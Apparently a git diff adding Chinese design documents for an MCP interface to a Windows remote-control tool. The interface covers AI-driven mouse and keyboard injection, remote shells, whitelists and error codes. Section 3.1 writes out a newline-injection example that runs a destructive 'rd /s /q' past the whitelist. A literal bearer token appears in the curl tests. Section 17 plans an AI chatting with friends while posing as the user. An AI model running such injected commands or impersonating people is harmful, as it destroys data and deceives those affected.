- **P2(注入走子连接)**:`COMMAND_SCREEN_CONTROL` **必须**经 `GetScreenContext` 取得的子连接发送,主连接无效。
- **P3(锁外 CancelIO)**:所有 `CancelIO` 在 `m_ScreenCtrlMutex` 之外(终端 P2 教训)。
- **P4(复用勿重写)**:`MSG64` 构造逻辑复用 `WebService::HandleMouse/HandleKey`;理想做法抽共享 helper,否则未来两处漂移。
- **P5(并发串行化)**:`remote_mouse` 高频并发,状态全部走锁;勿假定请求串行(终端 P5 教训)。
- **P6(session_id 独立随机 + 互斥)**:会话 token 用 `GenerateRandomToken`;单设备单会话;与人类远程桌面观看互斥(`-32003`)。
- **P7(非黑盒)**:不实现 `perform_task`;循环归宿主/AI,YAMA 只出原语(D2)。
---
## 15. 验证(端到端,127.0.0.1:6544,Bearer `a2176213eddcf0acfdb285940ec4eb2a`)
前置:设置开 `McpEnabled=1`、`McpReadonly=0`、`McpRemoteControl=1`;目标 Windows 客户端在线、已登录桌面。`id` 取 `list_online_hosts` 的十进制主机 id。
```bash
B='Authorization: Bearer a2176213eddcf0acfdb285940ec4eb2a'
U=http://127.0.0.1:6544/mcp
# 1) tools/list 应出现 remote_open/close/mouse/keyboard 四个工具
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
# 2) 打开会话 → session_id + screen_w/h
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"remote_open","arguments":{"id":"<HOSTID>"}}}'
# 3) Observe:截图(复用)
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"get_screenshot","arguments":{"id":"<HOSTID>","max_width":1280}}}'
# 4) Act:移动 + 单击(归一化坐标,0.5,0.5 = 屏幕中心)
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"remote_mouse","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"move","x":0.5,"y":0.5}}}'
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":5,"method":"tools/call","params":{"name":"remote_mouse","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"click","x":0.5,"y":0.5,"button":"left"}}}'
# 5) 键盘:按下并抬起 Ctrl+Esc 或输入文本
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":6,"method":"tools/call","params":{"name":"remote_keyboard","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"key_press","key":"WIN"}}}'
# 6) 负例:未开会话/错误 sid → -32002;已开会话再 open → -32003;只读/开关关 → -32006
# 7) 关闭 + 幂等关闭
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":9,"method":"tools/call","params":{"name":"remote_close","arguments":{"id":"<HOSTID>","session_id":"<SID>"}}}'
# 8) 审计链
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":12,"method":"tools/call","params":{"name":"get_audit_log","arguments":{}}}'
```
人工核对:注入后目标机光标/焦点确实变化;审计列表出现标题「MCP远程控制」的 open/close/mouse/keyboard 条目;闲置 >300s 后旧 `session_id` 调用 → `-32002`。编译由你以 VS2019(MSBuild v143)完成;我侧仅代码审查(工具集 v142,无法在此构建)。
---
## 16. 涉及文件
- `server/2015Remote/McpServer.h` / `.cpp`(会话状态机 + schema + handler + 分派)
- `server/2015Remote/McpSettingsDlg.h` / `.cpp`(新开关)
- `server/2015Remote/2015RemoteDlg.cpp`(启动读配置 + `OfflineProc` 清理钩子)
- `common/commands.h`(**只读参照**:`COMMAND_SCREEN_SPY`/`COMMAND_SCREEN_CONTROL`/`MSG64`/`COMMAND_SCREEN_PREVIEW_REQ` 等,无需改)
- `server/2015Remote/WebService.cpp`(**复用参照**:`HandleMouse`/`HandleKey`/`GetScreenContext`)
- `lang/{en_US,zh_TW}.ini`(可选,GBK 工具改)
---
## 17. 实验案例:AI 代聊(chat-on-behalf)
> 目标:以「AI 通过远程桌面,在聊天软件里代表你与朋友聊天」为第一个实验用例,验证整条「看 → 想 → 动 → 确认」链路。低风险、目标清晰、信号明确(有新消息 / 已发出)。
### 17.1 闭环
1. `list_windows` 找到聊天窗口(`hwnd`/`title`)。
2. `remote_focus_window`(或 `remote_mouse` 点击输入框)聚焦聊天窗。
3. 抓**聊天窗口**高分辨率截图 → 视觉模型读出朋友最新消息。
4. 模型生成回复。
5. `remote_clipboard` 把回复写入远程剪贴板(UTF-8)。
6. `remote_keyboard` 注入 `Ctrl+V`(粘贴)+ `Enter`(发送)。
7. 再截图确认已发出,等待下一条。
### 17.2 两个已验证的关键依赖
- **中文输入(走剪贴板,已解决)**:见 §6.4。`COMMAND_SCREEN_SET_CLIPBOARD`(25) 为 ANSI/GBK(`CF_TEXT`),中文可经 `ToAnsi(utf8, 936)` 直发跑通 MVP;要支持 emoji/完整 Unicode,复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8→`CF_UNICODETEXT` 逻辑或新增 UTF-8 变体。客户端 `KernelManager.cpp:1590` 已内置「设剪贴板后自动模拟 Ctrl+V」。
- **读消息(需窗口抓屏)**:`get_screenshot` 抓整屏,缩到 1280 后聊天文字过小、OCR 易错。用 `COMMAND_SCREEN_WINDOW`(153) 按窗口抓取聊天窗(更高有效分辨率),或对该区域用更高 `max_width`。
### 17.3 使能清单(相对现有代码的增量)
| 能力 | 状态 | 复用点 |
|---|---|---|
| `get_screenshot` / `list_windows` | ✅ 已有 | — |
| 剪贴板写入 | ⚠️ 客户端已有(GBK 直发可跑通),缺 MCP 封装 | `COMMAND_SCREEN_SET_CLIPBOARD`(25) / `COMMAND_C2C_TEXT`(90) |
| `remote_open` / `remote_close`(屏幕子连接) | ❌ 待建 | `COMMAND_SCREEN_SPY`(16) 建立逻辑 `2015RemoteDlg.cpp:8443` |
| `remote_mouse` / `remote_keyboard` | ❌ 待建 | `WebService::HandleMouse/HandleKey` |
| `remote_focus_window` | ❌ 待建 | `COMMAND_SCREEN_WINDOW`(153) |
| `remote_clipboard` | ❌ 待建 | 见 §6.4 |
### 17.4 最小 MVP 实施顺序(按依赖)
1. `remote_open` / `remote_close`(屏幕子连接 + `TOKEN_BITMAPINFO` 取分辨率)。
2. `remote_keyboard`(先只做 `key_press`/`type` + 修饰键,够发 `Ctrl+V`/`Enter`)。
3. `remote_mouse`(`click`/`move`,用于点输入框;聚焦可用点击替代)。
4. `remote_clipboard`(先 GBK 直发跑通,再上 UTF-8 变体)。
5. `remote_focus_window`(或用步骤 3 的点击替代,二选一即可跑通)。
> 1→2→3 已足以发出一条消息(点输入框 + 粘贴 + 回车);4 是中文关键路径;5 是体验优化,可后置。
### 17.5 实验注意事项
- 目标机必须**已登录且未锁屏**(锁屏/UAC 安全桌面下抓屏与注入均失效,§12.1)。
- 「代聊」会让朋友误以为是真人在聊——实验前建议告知对方;避免让 AI 在承诺/隐私等话术上自由发挥(§9.4 的人工确认原则同样适用)。
- 新消息检测先用「轮询截图」即可(MVP 接受),后续用未读角标/窗口通知优化(§17.6)。
### 17.6 后续优化(非 MVP)
- 新消息触发:从「定时截图」改为「未读角标/窗口通知驱动」,大幅省 token。
- 窗口定向抓屏(`COMMAND_SCREEN_WINDOW`)并入 `remote_screenshot`。
- 会话历史:AI 保留最近几轮聊天上下文,避免回复脱节(宿主侧滚动缓冲,§3)。
---
## 参考(行业最佳实践)
- Anthropic《Best practices for computer and browser use with Claude》— https://claude.com/fr/blog/best-practices-for-computer-and-browser-use-with-claude
- Anthropic 参考实现 `computer.py`(动作枚举、缩放、坐标换算)— https://github.com/anthropics/claude-quickstarts/blob/main/computer-use-demo/computer_use_demo/tools/computer.py
- 《How Claude Computer Use Works: Architecture Internals》— https://callsphere.ai/blog/how-claude-computer-use-works-architecture-internals
+471
View File
@@ -0,0 +1,471 @@
# MCP 远程命令与持久终端 — 设计与实现
> 本文档覆盖 MCP 侧两类**命令执行**能力:
> 1. **一次性命令 `exec_command`**(P3a)—— 每次新建一个 shell、跑一条命令、读完即关。
> 2. **持久终端 `terminal_open` / `terminal_exec` / `terminal_close`**(P4)—— 同一主机**一个** shell 会话,跨命令保持 cwd 与环境变量。
>
> 阅读顺序建议:先读 `docs/Mcp_Design.md`(Phase 1:HTTP 协议、token 校验、配置、`list_online_hosts`)与 `docs/Mcp_Phase2_Design.md`(模式 A/A′/B、工具路线图、P2a–P3a 概要),再读本文档的**实现级细节**。本文档是后续人员 / 大模型接手与排查问题的主参考。
---
## 1. 术语与总览
| 术语 | 含义 |
|---|---|
| **一次性命令** | `exec_command`:无状态,每次独立 shell,命令结束即 `CancelIO` 关闭子链接。 |
| **持久终端** | `terminal_open`→`terminal_exec`×N→`terminal_close`:有状态,cwd/env 跨命令保持。 |
| **哨兵(sentinel)** | 包装在命令尾部的一段随机标记,用于在输出流里定位「命令真实退出码」并截断输出。 |
| **子链接(sub-connection / `context*`)** | 客户端为 shell 建立的独立网络连接,`context` 是其服务端句柄。 |
| **主连接(`FindMainContext`)** | 客户端与控制端的常驻长连接,用于下发 `COMMAND_*`。 |
| **isPty** | `true`=ConPTY(UTF-8,`cp=CP_UTF8`);`false`=老 cmd 管道(GBK,`cp=936`)。 |
两类能力**共享同一套底层机制**(终端链路、编码、哨兵、状态机 map、审计),区别只在**生命周期**(一次性 vs 保持)与**安全门**(白名单 vs 无白名单 + 独立开关)。这也是为什么它们会互相排他(见 §6.3)。
---
## 2. 共享基础设施
### 2.1 客户端终端链路(两种能力通用)
无论一次性还是持久,shell 的建立过程完全相同:
```
服务端 客户端
│ COMMAND_SHELL(主连接) ──► 客户端创建 shell 子连接
│ ◄── TOKEN_SHELL_START 或 TOKEN_TERMINAL_START(子连接)
│ ↓ MessageHandle 顶部判定 IsTermPending → 交给 RegisterTerminalContext 接管
│ COMMAND_NEXT(+ 若 PTY 先发 CMD_TERMINAL_RESIZE 80x24)──► 客户端启动 shell 输出回流
│ ◄── 持续 shell 输出(TOKEN_TERMINAL_DATA 之类,经 IsTerminalContext 路由到 OnTerminalData)
│ ◄── TOKEN_TERMINAL_CLOSE(shell 进程退出)→ OnTerminalClosed
```
关键点:
- **`COMMAND_NEXT` 不能漏发**——客户端读线程靠它才启动输出回流,漏发会导致 shell 在跑但输出永不送回(`RegisterTerminalContext` 内的注释明确强调)。
- **PTY 需先告知初始尺寸 80×24**,否则 TUI 尺寸错乱。
- `TOKEN_SHELL_START` 与 `TOKEN_TERMINAL_START` 二选一:老 `ShellManager`(cmd 管道)回前者,ConPTY 回后者;服务端在 `MessageHandle` 里据此判定 `isPty`。
### 2.2 编码
| isPty | 底层 | 服务端 cp |
|---|---|---|
| `true` | ConPTY | `CP_UTF8` |
| `false` | 老 cmd 管道 | `936`(GBK) |
- **发送方向**:命令/哨兵行先 UTF-8 组好,再 `ToAnsi(line, cp)` 转成客户端编码,追加 `"\r\n"`。
- **接收方向**:原始字节 `ToUtf8(raw, cp)` 转回 UTF-8。
- 哨兵是纯 ASCII,两种编码下字节一致,编码无关。
### 2.3 哨兵机制
命令被包装成一行复合命令:
```
[@echo off & ] <cmd> 2>&1 && echo __MCP_DONE_<nonce>__0 || echo __MCP_DONE_<nonce>__1
```
- `@echo off & ` **仅 ConPTY 需要**(抑制 ConPTY 把输入整行回显)。老 `ShellManager` 已自行跳过回显,加 `@echo off` 反而破坏它的回显跳过逻辑。
- `&&` / `||` 控制操作符取**命令真实退出码**(`%errorlevel%` 在复合句中解析期展开、已过期,故不能用 `%errorlevel%`)。
- `<nonce>` 为 8 位随机 hex(`GenerateRandomToken().substr(0,8)`),保证命令真实输出不可能恰好包含完整哨兵串。
- `2>&1` 让 stderr 也走哨兵链,stdout/stderr 都能被捕获且退出码正确。
**`FindSentinel`(检测)** 用 `rfind` **从后往前**找,且要求哨兵在**行首**(`p==0` 或前一个字节是 `\n`),后跟 `0` 或 `1`:
```cpp
size_t from = npos;
while (true) {
size_t p = s.rfind(marker, from);
bool lineStart = (p == 0) || (s[p-1] == '\n');
if (lineStart && s[p+marker.size()] 是 '0' 或 '1') { exitCode=...; pos=p; return true; }
from = p - 1;
}
```
为什么要「从后往前 + 行首」:ConPTY 会把**整条命令行回显**进输出流,回显里的哨兵字样嵌在 `&& echo ... || echo ...` 中间、前面是空格(非行首)。若用 `rfind` 直取,回显包先于真实输出到达时会命中回显里的 `__1` 提前结束、截断真实输出。行首校验能排除回显行。老 `ShellManager` 无回显,输出里只有真实哨兵(仍在行首),逻辑一致。
### 2.4 输出清洗管线
从原始字节到返回 `stdout` 字符串,固定五步(`CleanTerminalOutput`,一次性命令为内联等价逻辑):
```
raw 字节
→ ToUtf8(raw, cp) 按 2.2 编码解码
→ StripAnsi(...) 剥 CSI/OSC/单字节 ESC,去彩色码
→ CRLF → LF "\r\n" 归一为 "\n"
→ StripEchoedCommand(stdout, sentLine) 剔 ConPTY 输入行回显(见下)
→ TrimRight(...) 去尾部空白
```
**`StripEchoedCommand`(回显剔除)**:ConPTY 的 `ENABLE_ECHO_INPUT` 会在 `@echo off` 生效**之前**把整条输入命令行回显进输出流。修复方法是在**服务端**把「刚发送的、含唯一 nonce 的完整命令行」(`SendTerminalCommandLine` 的返回值)从输出里整行 `find` + 剔除:
```cpp
static std::string StripEchoedCommand(const std::string& s, const std::string& echoedLine) {
if (echoedLine.empty() || s.empty()) return s;
size_t p = s.find(echoedLine);
if (p == npos) return s;
size_t q = p + echoedLine.size();
if (q < s.size() && s[q] == '\n') ++q; // CRLF 已归一为 \n
return s.substr(0, p) + s.substr(q);
}
```
- 因 `echoedLine` 含随机 nonce,命令真实输出不可能恰好相同 → 不会误删合法输出。
- 老 `ShellManager` 无回显,`find` 不到该行 → 无操作,安全。
### 2.5 状态机与互斥(两类能力共用)
```cpp
struct TermSession {
bool started; // false=已发 COMMAND_SHELL 待 START;true=已接管
context* subCtx; // shell 子连接上下文
bool isPty; // ConPTY(UTF-8) / cmd 管道(GBK)
std::string command; // 原始 UTF-8 命令(审计用)
std::string nonce; // 哨兵随机串
std::vector<BYTE> data; // 收集的原始 shell 输出
size_t sentPos; // 哨兵在 data 中的位置
int exitCode; // 0/1/-1
bool done; // 哨兵命中
bool closed; // TOKEN_TERMINAL_CLOSE(进程退出)
// ── 以下为持久终端新增 ──
std::string sessionId; // 持久会话 token(一次性 exec 为空)
bool persistent; // 是否持久会话
bool busy; // 一条命令在飞(terminal_exec 复位 → WaitTermCommand 返回)
time_t lastActiveAt; // idle 回收用(秒)
};
std::mutex m_TermMutex; // 保护下面两个 map
std::condition_variable m_TermCv;
std::map<uint64_t, TermSession> m_TermSessions; // device_id → 会话
std::map<context*, uint64_t> m_TermContextToDevice; // subCtx → device_id(顶部路由)
```
- `m_TermContextToDevice` 是**反向索引**:`MessageHandle` 顶部用 `IsTerminalContext(subCtx)` 判定「这个子链接的输出是否该路由到 MCP 的 `OnTerminalData`,而不是打开 MFC 终端对话框」。
- `httplib` 默认多线程处理请求 → **多个 `tools/call` 会并发**。所有会话状态都靠 `m_TermMutex` + `busy` 串行化,**不要假定请求串行**。
---
## 3. 一次性命令 `exec_command`
### 3.1 安全门(顺序)
```
ParseHostIdArg → -32602 参数非法
FindMainContext → -32002 主机不存在/离线
clientType==LNX/MAC → -32005 仅 Windows
command 为空 → -32602
mcp.IsReadonly() → -32006 只读模式默认开,需 McpReadonly=0
含 &|<>^ 五元字符 → -32012 防注入绕过白名单(-32008 为历史别名)
含控制字符(\r\n 等 <0x20) → -32012 防换行拆分绕过白名单
白名单前缀校验 → -32007 不在白名单
```
- **白名单**:`IsCommandAllowed` 做「trim + ASCII 小写后前缀匹配」,且前缀后须为空/空格/制表符(防 `dirx` 误配 `dir`)。配置为空时回落到内置 `kDefaultCmdWhitelist`:
```
dir,type,cd,chdir,ver,hostname,whoami,where,tasklist,systeminfo,ipconfig,netstat,
path,set,find,findstr,reg query,sc query,
ping,tracert,nslookup,getmac,driverquery,query,gpresult,
arp -a,route print,schtasks /query
```
- **元字符门 `&|<>^`** 是**安全门**(拒绝 shell 注入/命令拼接),比持久终端的 `&|` 更严。
- **控制字符门**:同时拒绝所有 `<0x20` 的控制字符(`\r`/`\n` 等)。否则 `dir \n rd /s /q ...` 这种带内嵌换行的命令会通过「前缀 `dir` + 空格」的白名单校验,却在 `cmd.exe` 里被换行拆成两条独立命令、执行任意后续行——彻底绕过只读白名单。这是 2026-08-24 独立审查发现并修复的**安全漏洞**。
### 3.2 流程
```
BeginTermPending(devId, command, nonce) → false 则 -32003(该 host 已有终端会话)
ctx->Send2Client(COMMAND_SHELL) → 失败 ClearTermPending + -32004
WaitTerminalReady(devId, subCtx, isPty, timeoutMs)
→ 超时 -32001(内部已自清理)
组哨兵行 Send2Client (见 §2.3)
WaitTerminalDone(devId, raw, exitCode, closed, timeoutMs)
→ 超时 -32001(内部已自清理 + 调用方 CancelIO)
subCtx->CancelIO() ← 一次性:读完即关子链接,结束 shell
清洗输出(§2.4)
审计:PostMessageA(WM_SHOWERRORMSG, ..., "MCP命令执行")
返回 { stdout, exit_code }
```
### 3.3 `WaitTerminalDone` 三态(一次性专用)
- **哨兵命中(done)**:`out` = `data[0..sentPos)`(截断到哨兵前),`exitCode=0/1`,**擦除会话+路由**,返回 true。
- **进程退出(closed)**:`out` = 全部 `data`(无哨兵),`exitCode=-1`,擦除会话+路由,返回 true。
- **超时**:擦除会话+路由,返回 false(调用方 `CancelIO`)。
---
## 4. 持久终端 `terminal_open` / `terminal_exec` / `terminal_close`
### 4.1 工具契约
| 工具 | 入参(required) | 出参 |
|---|---|---|
| `terminal_open` | `id`(+`timeout_ms`) | `session_id`(32hex)、`is_pty`(bool) |
| `terminal_exec` | `id`、`session_id`、`command`(+`timeout_ms`) | `stdout`、`exit_code` |
| `terminal_close` | `id`、`session_id` | `closed`(bool,恒 true) |
`session_id` 由服务端 `GenerateRandomToken()` 生成(32 hex / 128 bit)。
### 4.2 共享前置 `ResolveTerminalSessionHost`
`terminal_open` / `terminal_exec` 复用(`terminal_close` 为幂等内联版,见 §4.5):
```
IsTerminalEnabled() && !IsReadonly() → -32006(需 McpTerminal=1 且 McpReadonly=0)
ParseHostIdArg → -32602
FindMainContext → -32002 主机不存在/离线
clientType==LNX/MAC → -32005 仅 Windows
```
### 4.3 `terminal_open`
```
SweepIdleTerminals(300) ← 先回收闲置会话
ResolveTerminalSessionHost
sessionId = GenerateRandomToken()
BeginTermOpen(devId, sessionId) → false 则 -32003(单设备单终端)
ctx->Send2Client(COMMAND_SHELL) → 失败 ClearTermPending + -32004
WaitTerminalReady(...) → 超时 -32001(自清理)
审计 "term-open"
返回 { session_id, is_pty }
```
**关键**:`WaitTerminalReady` 成功后**不擦除会话**(与一次性相反)——会话要留给后续 `terminal_exec`。此时 `started=true`、`busy=false`,shell 空闲运行。
### 4.4 `terminal_exec`
```
SweepIdleTerminals(300)
ResolveTerminalSessionHost
session_id 为空 → -32602
command 为空 → -32602
command 含 & 或 | → -32012(正确性门,见 §4.6)
nonce = 随机 8 hex
BeginTermCommand(devId, sessionId, command, nonce, subCtx, isPty)
→ false 则 -32002(不存在/不匹配/未就绪/忙碌/已关)
sentLine = SendTerminalCommandLine(subCtx, isPty, command, nonce)
WaitTermCommand(devId, raw, exitCode, closed, timeoutMs)
→ 超时:subCtx->CancelIO() + -32001
→ closed:subCtx->CancelIO()(会话已被清理,仅对称无害)
stdoutStr = CleanTerminalOutput(raw, cp, sentLine)
审计 "term-exec [sessionId]: command"
返回 { stdout, exit_code }
```
**`WaitTermCommand` 三态(持久专用,与一次性不同)**:
- **哨兵命中(done)**:`busy=false`、刷新 `lastActiveAt`、`out` 截到 `sentPos`、**保留会话**,返回 true。← 这是「持久」的核心:命令完成后 shell 不关。
- **进程退出(closed)**:`out`=全部 `data`、`exitCode=-1`、**擦除会话+路由**,返回 true。
- **超时**:擦除会话+路由,返回 false(调用方 `CancelIO`)。
### 4.5 `terminal_close`
```
SweepIdleTerminals(300)
IsTerminalEnabled() && !IsReadonly() → -32006
ParseHostIdArg → -32602
session_id 为空 → -32602
CloseTermSession(devId, sessionId)
r==2(sessionId 不匹配) → -32002(防拼错静默泄漏真会话)
审计 "term-close"
返回 { closed: true }
```
`CloseTermSession` 返回值语义:**0**=已关闭;**1**=会话不存在(幂等,仍返回 `{closed:true}`);**2**=sessionId 不匹配(报错)。
### 4.6 正确性门 `&|`(非安全门)
`terminal_exec` **拒绝含 `&` 或 `|` 的命令**(`find_first_of("&|")`,含 `&&`/`||`/`|`),报 `-32012`(历史别名 `-32008`)。原因:哨兵包装 `cmd 2>&1 && echo ... || echo ...` 假定命令是「扁平」的,命令内含 `&`/`|` 会与包装的控制操作符合流、导致退出码失真/输出归属不清。
- 这是**正确性限制,不是白名单**——持久终端本就不设白名单。
- 同样拒绝 `<0x20` 的控制字符(`\r`/`\n`):换行会把命令拆成多行、只有末行被哨兵包装,导致退出码与输出归属失真。
- `> < ^`(重定向 / 转义)**允许**:不破坏哨兵链。AI 把链式/管道命令拆成多条 `terminal_exec` 调用即可(cwd/env 保持,等价)。
对比:一次性 `exec_command` 因有白名单,其元字符门更严(`&|<>^` 五元字符全拒,§3.1)。
---
## 5. 状态机方法明细
### 5.1 一次性命令专用
| 方法 | 作用 |
|---|---|
| `BeginTermPending(devId, cmd, nonce)` | 锁内登记会话;已有会话则 false(单设备单终端)。 |
| `WaitTerminalReady(devId, subCtx, isPty, timeout)` | 等 `started`;超时**擦除**并返回 false。成功输出 `subCtx`/`isPty`,**不擦**。 |
| `WaitTerminalDone(...)` | 等 `done||closed`;三态见 §3.3。 |
| `ClearTermPending(devId)` | 发送失败等提前退出路径的清理。 |
| `IsTermPending(devId)` | `MessageHandle` 判定是否有待接管的终端会话。 |
| `RegisterTerminalContext(devId, subCtx, isPty)` | 子连接就绪接管:置 `started/subCtx/isPty`、登记反向索引、发 `COMMAND_NEXT`(+PTY resize)、`notify_all`。 |
| `IsTerminalContext(subCtx)` | `MessageHandle` 顶部路由判定。 |
| `OnTerminalData(subCtx, data, len)` | 追加输出、`FindSentinel` 命中置 `done` + `notify`;`done||closed` 时忽略迟到数据。 |
| `OnTerminalClosed(subCtx)` | 置 `closed`;空闲持久会话直接擦;`notify_all` 唤醒 busy 等待线程。 |
### 5.2 持久终端专用
| 方法 | 作用 |
|---|---|
| `BeginTermOpen(devId, sessionId)` | 锁内建持久会话(`persistent=true`、`lastActiveAt=now`);已有会话 false。 |
| `BeginTermCommand(devId, sid, cmd, nonce, subCtx, isPty)` | 锁内校验「persistent && sid 匹配 && started && !busy && !closed」→ 置 `busy=true`、**原子复位** `data/sentPos/exitCode/done/closed`、更新 `command/nonce/lastActiveAt`。 |
| `WaitTermCommand(...)` | 等 `done||closed`;三态见 §4.4。 |
| `CloseTermSession(devId, sid)` | 不存在→1;sid 不匹配→2;`busy` 时仅置 `closed`+notify(交等待线程清理,防双重擦除);非 busy 直接擦+锁外 `CancelIO`。 |
| `SweepIdleTerminals(idleTimeoutSec)` | 回收 `persistent && !busy && difftime(now,lastActiveAt)>idle` 的会话;收集后锁外 `CancelIO`。 |
### 5.3 `OnTerminalClosed` 的泄漏修复
`OnTerminalClosed` 有**两个入口**:
1. `MessageHandle` 的 `TOKEN_TERMINAL_CLOSE` 分支(客户端 shell 优雅退出时发 token)。
2. `OfflineProc`(`2015RemoteDlg.cpp`)——连接**骤然断开**(网络断/客户端崩溃,无 token)时,与 `WebService().OnTerminalClosed` 并列调用 `McpServer().OnTerminalClosed`。此入口是 2026-08-24 独立审查发现缺失并补齐的:否则骤断的持久终端会话会在 `m_TermSessions`/`m_TermContextToDevice` 里留悬空 `subCtx`,连接池复用地地址后会误路由新连接、甚至 `CancelIO` 掉无关连接。
shell 进程退出时,若是一个**空闲持久会话**(`persistent && !busy && started`),没有等待线程会清理它,会泄漏死 `subCtx`。故:
```cpp
s.closed = true;
if (s.persistent && !s.busy && s.started) {
m_TermContextToDevice.erase(subCtx); // 空闲持久会话:直接擦(无需 CancelIO,已死)
m_TermSessions.erase(sit);
}
m_TermCv.notify_all(); // busy 场景唤醒等待线程由其清理;一次性 exec 路径不变
```
---
## 6. 并发模型与不变量
### 6.1 关键不变量
- **`CancelIO` 一律在 `m_TermMutex` 之外**(所有路径:`BuildExecCommand`、`BuildTerminalExec`、`CloseTermSession`、`SweepIdleTerminals`)。这是硬约束——`CancelIO` 可能阻塞/回调,锁内调用会死锁。
- **`wait_for` 期间不持有会被他人擦除的迭代器**:等待线程(`WaitTermCommand`)持 `it`,但**只有它自己**会在超时/closed 路径擦除该会话;`terminal_close`/`sweep` 因 `busy` 标志而**不会**擦除「正在等待的命令」的会话。这就是 `busy` 标志的核心作用。
- **单设备单终端**:`terminal_*` 与 `exec_command` 因**共享 `m_TermSessions`** 而互斥(双向 `-32003`)。`BeginTermPending` 与 `BeginTermOpen` 都做「已有会话则 false」。
### 6.2 `busy` 标志生命周期
```
terminal_exec: BeginTermCommand 置 busy=true
Send2Client
WaitTermCommand 返回时:
done 路径 → busy=false(保留会话)
closed 路径 → 会话被擦除
超时路径 → 会话被擦除
terminal_close(会话忙时)→ 仅置 closed=true + notify,不擦,交等待线程清理
```
### 6.3 互斥矩阵
| | `exec_command` | `terminal_*` | `list_files`/`get_screenshot` 等 |
|---|---|---|---|
| `exec_command` | 互斥(-32003) | 互斥(-32003) | 无关(各用 `m_Pending`) |
| `terminal_*` | 互斥 | 单设备单终端 | 无关 |
> Web 终端与 MCP 终端各用独立 map,理论上可同设备并存(既有现象,非本次范围)。
### 6.4 idle 回收语义
`SweepIdleTerminals(300)`:`lastActiveAt` 在 `BeginTermOpen` / `BeginTermCommand` **(命令开始时)**更新,**命令完成后不刷新**。因此「两次命令间隔 < 300s」的活跃会话安全;「一次长命令 + 长时间无新命令」的会话会在最后一次命令开始 300s 后被回收。回收是非惰性的——每次 `terminal_*` 入口先 sweep,所以空闲会话不会在无请求时被后台主动关闭(但也不占后台定时器资源)。用 `difftime` 比较防时钟回拨下溢。
---
## 7. 安全模型
| 维度 | `exec_command` | 持久终端 |
|---|---|---|
| 开关 | `McpReadonly=0` | `McpTerminal=1` **且** `McpReadonly=0`(默认 `McpTerminal=0`) |
| 白名单 | 有(内置/自定义前缀白名单) | **无**(完整 shell,可写命令、重定向、改环境) |
| 元字符门 | `&|<>^` + 控制字符全拒(安全门) | `&|` + 换行拒(正确性门) |
| 审计 | `WM_SHOWERRORMSG` 标题「MCP命令执行」 | 标题「MCP持久终端」(open/exec/close 各一条) |
| 生命周期 | 命令结束即关 | 会话保持,闲置 300s 回收,`terminal_close` 显式关 |
| 会话隔离 | 单设备单终端 | 单设备单终端 + `session_id` 校验防串用 |
审计实现:`PostMessageA(WM_SHOWERRORMSG, new CString(...), new CString(_TR("...标题...")))` → 进入服务端 `m_MessageLog`,`get_audit_log` 可查。审计不可关闭。
---
## 8. 配置项
| 键 | 默认 | 说明 |
|---|---|---|
| `McpEnabled` | 0 | MCP 总开关 |
| `McpPort` | 6544 | 监听端口 |
| `McpBind` | 127.0.0.1 | 绑定地址(默认仅回环) |
| `McpToken` | (空→运行时兜底) | Bearer token |
| `McpReadonly` | 1 | 只读模式(禁 `exec_command` 与持久终端) |
| `McpCmdWhitelist` | (空→内置白名单) | `exec_command` 白名单,逗号分隔 |
| `McpTerminal` | 0 | 持久终端开关(要求 `McpReadonly=0`) |
**存储位置**:Release 版存**注册表** `HKCU\Software\YAMA\settings`(**不是** `settings.ini`;`settings.ini` 仅 Debug 版读取)。改动需**重启程序**生效。
**启动读取**(`2015RemoteDlg.cpp`):
```cpp
McpServer().SetReadonly(THIS_CFG.GetInt("settings", "McpReadonly", 1) != 0);
McpServer().SetCmdWhitelist(THIS_CFG.GetStr("settings", "McpCmdWhitelist", ""));
McpServer().SetTerminalEnabled(THIS_CFG.GetInt("settings", "McpTerminal", 0) != 0);
```
**工具可见性**:`terminal_*` 三个工具在 `tools/list` 里**仅在** `IsTerminalEnabled() && !IsReadonly()` 时出现(门控在 `BuildToolsListResult`)。故默认配置下 `tools/list` 看不到它们。
---
## 9. 错误码
| 码 | 含义 | 触发点 |
|---|---|---|
| `-32001` | 超时 | `WaitTerminalReady`/`WaitTermCommand`/`WaitPending` 等超时 |
| `-32002` | 主机/会话不存在 | `FindMainContext` 失败、`session_id` 不匹配/未就绪/已关 |
| `-32003` | 设备忙 | 单设备单终端冲突、同 host 已有挂起请求 |
| `-32004` | 发送失败 | `Send2Client` 失败 |
| `-32005` | 非 Windows | LNX/MAC 客户端 |
| `-32006` | 已禁用/只读 | `IsReadonly()` 或 `!IsTerminalEnabled()` |
| `-32007` | 白名单拒绝 | `IsCommandAllowed` false |
| `-32012` | 含禁用字符 | `exec_command` 的 `&|<>^`;`terminal_exec` 的 `&|`(早期版本用 `-32008`,同一语义) |
| `-32602` | 参数非法 | `ParseHostIdArg` 失败、缺 required 参数 |
| `-32700` | JSON 解析错误 | 请求体非合法 JSON-RPC |
---
## 10. 排查指南(供后续人员/大模型)
### 10.1 `exec_command` 返回 `-32001` 超时
- 先看是不是**目标机环境问题**而非代码 bug:`nslookup`/`where` 在部分机器会因 DNS/文件系统异常稳定超时(见项目记忆)。裸 `nslookup <host>` 卡默认重试 20~40s > MCP 超时;`where cmd.exe` 在特定机器卡 PATH 解析。
- 服务端行为正确:超时返回 `-32001` 并清理终端会话,不挂起/崩溃。
### 10.2 `terminal_*` 在 `tools/list` 里看不到
- 检查 `McpTerminal=1` **且** `McpReadonly=0`。任一不满足,工具不出现且调用返回 `-32006`。
- 改配置后需**重启程序**(注册表配置启动时读)。
### 10.3 `terminal_exec` 返回 `-32002`
